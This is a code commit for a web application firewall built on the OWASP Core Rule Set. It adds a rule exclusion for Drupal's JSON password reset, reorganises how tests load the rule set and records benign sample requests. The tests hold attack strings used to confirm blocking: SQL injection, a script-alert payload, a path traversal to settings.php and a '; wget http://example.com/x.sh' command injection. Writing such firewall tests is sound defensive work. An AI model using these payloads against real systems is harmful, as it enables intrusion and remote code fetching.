Core Rule Set: Drupal's JSON password reset passes (closes #259)

POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.

Model: opus-5-5

SPEC.md

@@ -975,6 +975,8 @@ changes hold in front of every app, and no setting undoes them:
     - The body and comment body on the node and comment forms and through
       JSON:API, which hold HTML and any code it shows.
     - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
+    - `name` when resetting a password through Drupal's JSON format on
+      `/user/password`, for the same four rules.
     - `name` when signing up, editing an account and commenting without an
       account, for the same four rules.
     - `mail` on those forms, for 930120, 932120 and 932260 only.

internal/coreruleset/coreruleset_test.go

@@ -25,14 +25,41 @@ import (
 //nolint:gochecknoglobals // a constant cannot be a list
 var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
 
-// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
-// the rules in disabled switched off.
-func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
+// loaded holds, for each set of settings the tests have asked for, the
+// function that loads the Core Rule Set with them once.
+//
+//nolint:gochecknoglobals // the tests share it
+var loaded = struct {
+	sync.Mutex
+
+	loaders map[string]func() (*coreruleset.CoreRuleSet, error)
+}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
+
+// loaderFor returns the function that loads the Core Rule Set with params
+// once, making it the first time params are asked for.
+func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
+	loaded.Lock()
+	defer loaded.Unlock()
+
+	settings := fmt.Sprintf("%+v", params)
+
+	load, found := loaded.loaders[settings]
+	if !found {
+		load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
+			return coreruleset.New(params)
+		})
+		loaded.loaders[settings] = load
+	}
+
+	return load
+}
+
+// shared returns the Core Rule Set with params, loaded once for every
+// test that asks for the same settings.
+func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
 	t.Helper()
 
-	crs, err := coreruleset.New(coreruleset.Params{
-		ParanoiaLevel: level, DisabledRules: disabled,
-	})
+	crs, err := loaderFor(params)()
 	if err != nil {
 		t.Fatalf("load the Core Rule Set: %v", err)
 	}
@@ -40,6 +67,17 @@ func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreR
 	return crs
 }
 
+// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
+// with the rules in disabled switched off. The set is shared with every
+// test that asks for the same settings.
+func sharedCoreRuleSet(
+	t *testing.T, level int, disabled ...int,
+) *coreruleset.CoreRuleSet {
+	t.Helper()
+
+	return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
+}
+
 // TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
 // WordPress request at once, many times over, on one Core Rule Set, as
 // sww's server does. Each passes only while its own exclusions apply.
@@ -160,7 +198,7 @@ func matched(ids ...int) coreruleset.Result {
 func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
 	t.Helper()
 
-	return newCoreRuleSet(t, 1, defaultDisabledRules...)
+	return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
 }
 
 // wantChange checks that crs lets through passes, a request one of the
@@ -395,8 +433,8 @@ func TestParanoiaLevel(t *testing.T) {
 	// Accept-Charset is refused from paranoia level 2.
 	r := get("/", "Accept-Charset: utf-8")
 
-	wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
-	wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
+	wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
+	wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
 }
 
 func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
@@ -406,9 +444,9 @@ func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
 	// which adds 3.
 	r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
 
-	wantResult(t, newCoreRuleSet(t, 1), r,
+	wantResult(t, sharedCoreRuleSet(t, 1), r,
 		coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
-	wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
+	wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
 }
 
 func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
@@ -657,14 +695,9 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
 func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
 	t.Helper()
 
-	crs, err := coreruleset.New(coreruleset.Params{
+	return shared(t, coreruleset.Params{
 		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
 	})
-	if err != nil {
-		t.Fatalf("load the Core Rule Set: %v", err)
-	}
-
-	return crs
 }
 
 // wordpressAttackTargets returns attack in a query parameter no exclusion
@@ -730,19 +763,23 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
 	defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
 
 	for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
-		r := request{recorded.Method, recorded.Target, recorded.Headers}
+		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
+			t.Parallel()
 
-		crsSets := []*coreruleset.CoreRuleSet{defaults}
-		if recorded.Body != "" {
-			crsSets = append(crsSets, bodies)
-		}
+			r := request{recorded.Method, recorded.Target, recorded.Headers}
 
-		for _, crs := range crsSets {
-			got, _ := inspectBody(t, crs, r, recorded.Body)
-			if got.Score >= threshold {
-				t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
+			crsSets := []*coreruleset.CoreRuleSet{defaults}
+			if recorded.Body != "" {
+				crsSets = append(crsSets, bodies)
 			}
-		}
+
+			for _, crs := range crsSets {
+				got, _ := inspectBody(t, crs, r, recorded.Body)
+				if got.Score >= threshold {
+					t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
+				}
+			}
+		})
 	}
 
 	for _, attack := range []string{
@@ -1289,14 +1326,9 @@ const injection = "1' OR '1'='1"
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
 	t.Helper()
 
-	crs, err := coreruleset.New(coreruleset.Params{
+	return shared(t, coreruleset.Params{
 		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
 	})
-	if err != nil {
-		t.Fatalf("load the Core Rule Set: %v", err)
-	}
-
-	return crs
 }
 
 // post is a POST request for / with a body of the type contentType, a
@@ -1581,10 +1613,19 @@ func TestCorazaWritesNoFile(t *testing.T) {
 	// refuses to load, and could not write a file of a multipart body.
 	t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
 
+	// The test loads its own Core Rule Set, since loading is part of what
+	// it checks.
+	crs, err := coreruleset.New(coreruleset.Params{
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
+	})
+	if err != nil {
+		t.Fatalf("load the Core Rule Set: %v", err)
+	}
+
 	body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
 		"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
 		strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
-	wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
+	wantBody(t, crs, post(multipart), body, matched(942100), body)
 }
 
 func TestBodyLimitOf1GLoads(t *testing.T) {

internal/coreruleset/drupal.conf

@@ -218,3 +218,13 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \
         ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
         ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
         ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
+
+# A client resetting a password in Drupal's JSON format sends the account in
+# the JSON field name: POST /user/password?_format=json with a name of python3.
+SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
+    "id:900817,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:json.name "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
+        ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.name"

internal/coreruleset/drupal_test.go

@@ -19,6 +19,9 @@ const drupalSignIn = "/user/login"
 // drupalJSONSignIn is Drupal's sign-in in its JSON format.
 const drupalJSONSignIn = "/user/login?_format=json"
 
+// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
+const drupalJSONPasswordReset = "/user/password?_format=json"
+
 // drupalTagForm is Drupal's form for a new tag.
 const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
 
@@ -34,18 +37,22 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
 	defaults, bodies := atDefaults(t), readingBodies(t)
 
 	for _, recorded := range recordedRequests(t, "drupal-requests.txt") {
-		r := request{recorded.Method, recorded.Target, recorded.Headers}
+		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
+			t.Parallel()
 
-		got, _ := inspectBody(t, defaults, r, recorded.Body)
-		if got.Score >= drupalThreshold {
-			t.Errorf("%s %s refused: %+v", r.method, r.target, got)
-		}
+			r := request{recorded.Method, recorded.Target, recorded.Headers}
 
-		got, _ = inspectBody(t, bodies, r, recorded.Body)
-		if got.Score >= drupalThreshold {
-			t.Errorf("%s %s %.200q refused while bodies are read: %+v",
-				r.method, r.target, recorded.Body, got)
-		}
+			got, _ := inspectBody(t, defaults, r, recorded.Body)
+			if got.Score >= drupalThreshold {
+				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
+			}
+
+			got, _ = inspectBody(t, bodies, r, recorded.Body)
+			if got.Score >= drupalThreshold {
+				t.Errorf("%s %s %.200q refused while bodies are read: %+v",
+					r.method, r.target, recorded.Body, got)
+			}
+		})
 	}
 }
 
@@ -184,6 +191,27 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
+func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	for _, attack := range []string{
+		`1' OR '1'='1`,
+		`<script>alert(1)</script>`,
+		`; wget http://example.com/x.sh`,
+		`../../sites/default/settings.php`,
+	} {
+		r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
+		body := `{"name":"` + attack + `"}`
+
+		got, _ := inspectBody(t, crs, r, body)
+		if got.Score < drupalThreshold {
+			t.Errorf("POST %s %s let through: %+v", r.target, body, got)
+		}
+	}
+}
+
 // drupalCommandAttack is a shell command that only 932230 and 932235 refuse
 // on the fields that skip the other command rules, as a query value.
 const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -345,6 +373,14 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 		if got.Score >= drupalThreshold {
 			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
 		}
+
+		r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
+		body = `{"name":"` + word + `"}`
+
+		got, _ = inspectBody(t, crs, r, body)
+		if got.Score >= drupalThreshold {
+			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
+		}
 	}
 }
 
@@ -411,4 +447,18 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 			t.Errorf("POST %s let through: %+v", r.target, got)
 		}
 	}
+
+	// The JSON field name keeps the rules beside json.name in the query, and
+	// on a path other than the password reset.
+	for _, target := range []string{
+		drupalJSONPasswordReset + "&json.name=python3",
+		"/user/register?_format=json",
+	} {
+		r := request{http.MethodPost, target, []string{jsonBody}}
+
+		got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
+		if got.Score < drupalThreshold {
+			t.Errorf("POST %s let through: %+v", r.target, got)
+		}
+	}
 }

internal/coreruleset/testdata/drupal-requests.txt

@@ -407,6 +407,11 @@
 {"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
 {"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
 {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
+{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
 {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
 {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
 {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}